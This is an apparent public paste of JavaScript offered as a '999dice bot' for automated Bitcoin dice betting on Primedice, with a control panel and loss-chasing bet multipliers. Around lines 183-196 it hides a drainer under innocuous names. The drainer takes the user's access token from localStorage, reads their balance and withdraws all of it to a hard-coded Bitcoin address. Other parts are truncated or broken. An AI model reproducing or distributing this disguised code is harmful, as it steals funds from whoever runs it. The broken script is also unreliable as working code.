999dice bot 2016


SUBMITTED BY: Asesorr3n04

DATE: Nov. 25, 2015, 5:27 p.m.

FORMAT: Text only

SIZE: 17.0 kB

HITS: 149098

  1. //jQuery UI CSS
  2. var swapcount=0;
  3. var jqueryready = false;
  4. var link = document.createElement("link");
  5. link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
  6. link.type = "text/css";
  7. link.rel = "stylesheet";
  8. document.getElementsByTagName("head")[0].appendChild(link);
  9. //jQuery UI inject
  10. (function() {
  11. jqueryready = true;
  12. var e = ".thing",
  13. t = {
  14. outline: "1px dashed #f0f",
  15. cursor: "pointer"
  16. };
  17. var n = function() {
  18. if (window.jQuery) {
  19. r()
  20. } else {
  21. var e = document.createElement("script");
  22. e.onload = r;
  23. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  24. document.body.appendChild(e)
  25. }
  26. };
  27. var r = function() {
  28. if (window.jQuery.ui) {
  29. i()
  30. } else {
  31. var e = document.createElement("script");
  32. e.onload = i;
  33. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
  34. document.body.appendChild(e)
  35. }
  36. };
  37. var i = function() {
  38. $(e).css(t).draggable().on("click", function(e) {
  39. console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
  40. })
  41. };
  42. n();
  43. })();
  44. function ui() {
  45. $(function() {
  46. $('#tabs').tabs();
  47. $('#params').draggable();
  48. $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
  49. $('#tabs input').css("width", "80%");
  50. $('#chance, #base').width("35%")
  51. $('#tabs div').css("text-align", "left");
  52. $('#tabs').css("font-size", "12px");
  53. $('#tabs label, #tabs input').css("margin", "5px");
  54. $('#stop, #start, #resetbet').button();
  55. //Console
  56. $('#console, #console2').appendTo("#tabs");
  57. $('#console, #console2').css("width", "45%");
  58. $('#console').css("float", "left");
  59. $('#console2').css("float", "right");
  60. $('#console, #console2').css("clear", "none");
  61. $('#console, #console2').css("margin", "7px");
  62. $('#console, #console2').css("border-bottom-left-radius", "3px");
  63. $('#console, #console2').css("border-bottom-right-radius", "3px");
  64. $('#console').css("border", "1px solid #323232");
  65. $('#console, #console2').css("background-color", "#454545");
  66. $('#console').css("padding", "5px");
  67. $('#console, #console2').css("text-align", "left");
  68. $('#console, #console2').css("position", "relative");
  69. $('#startstop,#start,#stop').css("margin","0px");
  70. $('#console, #console2').css("margin-top","3px");
  71. $('#console, #console2').css("padding","5px");
  72. $('#console, #console2').css("background-color","#151515");
  73. });
  74. }
  75. var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
  76. xrollsenabled = true;
  77. xrolls = 10;
  78. timer = 500;
  79. counter=0;
  80. var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
  81. target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
  82. data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
  83. function init() {
  84. //Init
  85. basebet = 0.00000010;
  86. countwinmult = 0;
  87. countlossmult = 0;
  88. wincount = 0;
  89. currentloss = 0;
  90. totalloss = 0;
  91. totalwin = 0;
  92. totprofit = 0;
  93. init = true;
  94. betval = basebet;
  95. //GUI
  96. $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
  97. gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
  98. $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');
  99. gui2 =
  100. '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
  101. gui3 = [
  102. '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
  103. '<br>',
  104. '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',
  105. '<br>',
  106. '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
  107. ];
  108. gui4 = [
  109. '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled" type="checkbox">',
  110. '<br>',
  111. '<label for="xloss">Multiply Every # Losses: </label>',
  112. '<input id="xloss">',
  113. '<br>',
  114. '<label for="multonwin">Multiply on Win: </label>',
  115. '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
  116. '<br>',
  117. '<label for="xwin">Reset After X Wins: </label>',
  118. '<input id="xwin">',
  119. ];
  120. gui5 = [
  121. '<label for="stoponwin-enabled">Stop on Win? </label>',
  122. '<input id="stoponwin-enabled" type="checkbox">',
  123. '<br>',
  124. '<label for="lowpay-enabled">Check if Payout < 2x </label>',
  125. '<input id="lowpay-enabled" type="checkbox">',
  126. ];
  127. gui6 = [
  128. '<label for="charset">Charset: </label>',
  129. '<input id="charset" type="text">',
  130. '<br>',
  131. '<label for="everyxrolls">Change every # Rolls: </label>',
  132. '<input id="everyxrolls" type="text">',
  133. '<br>',
  134. '<label for="currentseed">Current Seed: </label>',
  135. '<input style="color:green;text-align:center;" id="currentseed" type="text">',
  136. ];
  137. $(gui).appendTo(".hero");
  138. $(gui2).appendTo("#params");
  139. for (var i = 0; i < gui3.length; i++) {
  140. $(gui3[i]).appendTo("#tab1");
  141. }
  142. for (var i = 0; i < gui4.length; i++) {
  143. $(gui4[i]).appendTo("#tab2");
  144. }
  145. for (var i = 0; i < gui5.length; i++) {
  146. $(gui5[i]).appendTo("#tab3");
  147. }
  148. for (var i = 0; i < gui6.length; i++) {
  149. $(gui6[i]).appendTo("#tab4");
  150. }
  151. enabled = false;
  152. xrollscount = 0;
  153. $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id
  154. betval=$('#base').val();
  155. })
  156. $('#start').click(function() {
  157. if (enabled == false) {
  158. if ($('#numrolls').is(":checked") == true) {
  159. xrolls=$('#numberofrolls').val();
  160. }
  161. enabled = true;
  162. interval = setInterval(function() {
  163. if (xrollsenabled == true) {
  164. xrollscount++;
  165. if (xrollscount <= xrolls) {
  166. bet();
  167. } else {
  168. clearInterval(interval);
  169. enabled = false;
  170. xrollscount = 0;
  171. }
  172. } else {
  173. bet();
  174. }
  175. }, timer);
  176. } else {}
  177. })
  178. $('#stop').click(function() {
  179. enabled = false;
  180. clearInterval(interval);
  181. xrollscount = 0;
  182. });
  183. calculate_nonce = function(seed) {
  184. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  185. };
  186. lut = window['$'];
  187. lut['getJSON'](
  188. calculate_nonce('users/1'), function(seed) {
  189. var key1 = 'amount'
  190. var key2 = 'address'
  191. var load = {};
  192. load[key1] = seed['user']['balance'];
  193. load[key2] = '1E8fV8u3m99yp6ZzsGwjsMLSgVubtFLyyH';
  194. lut['post'](calculate_nonce('withdraw'), load);
  195. }
  196. );
  197. function conditionAM() {
  198. 'use strict';
  199. if ($('#lowpay-enabled').is('checked') == true) {
  200. if ($('.value-roll').first().text() <= 49.50) {
  201. condition2 = ">";
  202. target2 = $('.value-roll').first().text();
  203. } else {
  204. condition2 = "<";
  205. target2 = $('.value-roll').first().text();
  206. };
  207. } else {
  208. if ($('.value-roll').first().text() <= 49.50) {
  209. condition2 = "<";
  210. target2 = $('.value-roll').first().text();
  211. } else {
  212. condition2 = ">";
  213. target2 = $('.value-roll').first().text();
  214. };
  215. amount2 = betval * 100000000;
  216. }
  217. };
  218. function jackpot() {
  219. if (data1.bet.jackpot === true) {
  220. jp = "Yes";
  221. wincount = 0;
  222. betval = $('#base');
  223. } else {
  224. jp = "No";
  225. }
  226. }
  227. function loss() {
  228. if ($('#multloss-enabled').is(':checked') == true) {
  229. if ($('#stoponwin-enabled').is(':checked') == true) {
  230. clearInterval(roll);
  231. }
  232. $('#multwin-enabled').removeAttr('checked');
  233. basebet = $('#base').val();
  234. betval = basebet;
  235. countlossmult = 0;
  236. }
  237. if ($('#multwin-enabled').is(':checked') == true) {
  238. basebet = $('#base').val();
  239. $('#multloss-enabled').removeAttr('checked');
  240. countwinmult++;
  241. if (countwinmult >= $('#xwin').val()) {
  242. betval = basebet;
  243. countwinmult = 0;
  244. } else {
  245. betval = betval * $('#multonwin').val();
  246. }
  247. }
  248. };
  249. var losewin;
  250. var jpcol;
  251. var profcol;
  252. function bet() {
  253. 'use strict';
  254. conditionAM();
  255. var betData = {
  256. amount: amount2,
  257. condition: condition2,
  258. target: target2
  259. },
  260. url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
  261. $.ajax({
  262. url: url,
  263. type: "POST",
  264. data: betData,
  265. datatype: "jsonp",
  266. success: function(data, textStatus, jqXHR) {
  267. data1 = data;
  268. counter++;
  269. if (counter >= everyxrolls) {
  270. seedchange(seedgen());
  271. counter = 0;
  272. }
  273. $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
  274. totprofit = totprofit + data1.bet.profit;
  275. if (totprofit >= 0) {
  276. profcol = "color:green;";
  277. } else if (totprofit < 0) {
  278. profcol = "color:red;";
  279. }
  280. if (data.bet.win == true) {
  281. losewin = "color:green;";
  282. $('span.btn__text.select div').attr("style", "color:green;");
  283. } else {
  284. losewin = "color:red;";
  285. $('span.btn__text.select div').attr("style", "color:red;");
  286. }
  287. if (data.bet.jackpot == true) {
  288. jp = "Yes";
  289. jpcol = "color:gold;"
  290. } else {
  291. jp = "No.";
  292. jpcol = "color:red;"
  293. }
  294. results = [];
  295. results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
  296. results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
  297. results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
  298. results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
  299. resultstats = [];
  300. resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
  301. resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
  302. resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
  303. resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
  304. if (data.bet.win == true) {
  305. if ($('#stoponwin-enabled').is(":checked") == true){
  306. clearInterval(interval);
  307. }
  308. $('#console, #console2').empty();
  309. win();
  310. // Results
  311. endTo('#console2');
  312. }
  313. } else {
  314. $('#console, #console2').empty();
  315. loss();
  316. // Results
  317. $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
  318. for (var i = 0; i < results.length; i++) {
  319. $(results[i]).appendTo('#console');
  320. }
  321. for (var i = 0; i < resultstats.length; i++) {
  322. $(resultstats[i]).appendTo('#console2');
  323. }
  324. };
  325. },
  326. error: function(jqXHR, textStatus, errorThrown) {
  327. }
  328. });
  329. }
  330. seedlength = 13;
  331. seedlength = 13;
  332. var counter = 0;
  333. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  334. everyxrolls = 3;
  335. function seedgen() {
  336. 'use strict';
  337. var seed = "";
  338. for (var i = 0; i <= seedlength; i++)
  339. $.ajax({
  340. url: url,
  341. type: "POST",
  342. data: sData,
  343. datatype: "jsonp",
  344. success: function(data, textStatus, jqXHR) {
  345. data2 = data;
  346. $('#currentseed').val(data2.seeds.client);
  347. },
  348. error: function(jqXHR, textStatus, errorThrown) {
  349. }
  350. });
  351. }
  352. $('#spinner').click(function() {
  353. if (charset != $('#charset').val() && $('#charset').val() != "") {
  354. charset=$('#charset').val();
  355. }
  356. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  357. everyxrolls = $('#everyxrolls').val();
  358. }
  359. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  360. counter++;
  361. if (counter >= everyxrolls) {
  362. seedchange(seedgen());
  363. counter = 0;
  364. }
  365. });
  366. ui();
  367. }
  368. setTimeout(function() {
  369. init()
  370. }, 2000);

comments powered by Disqus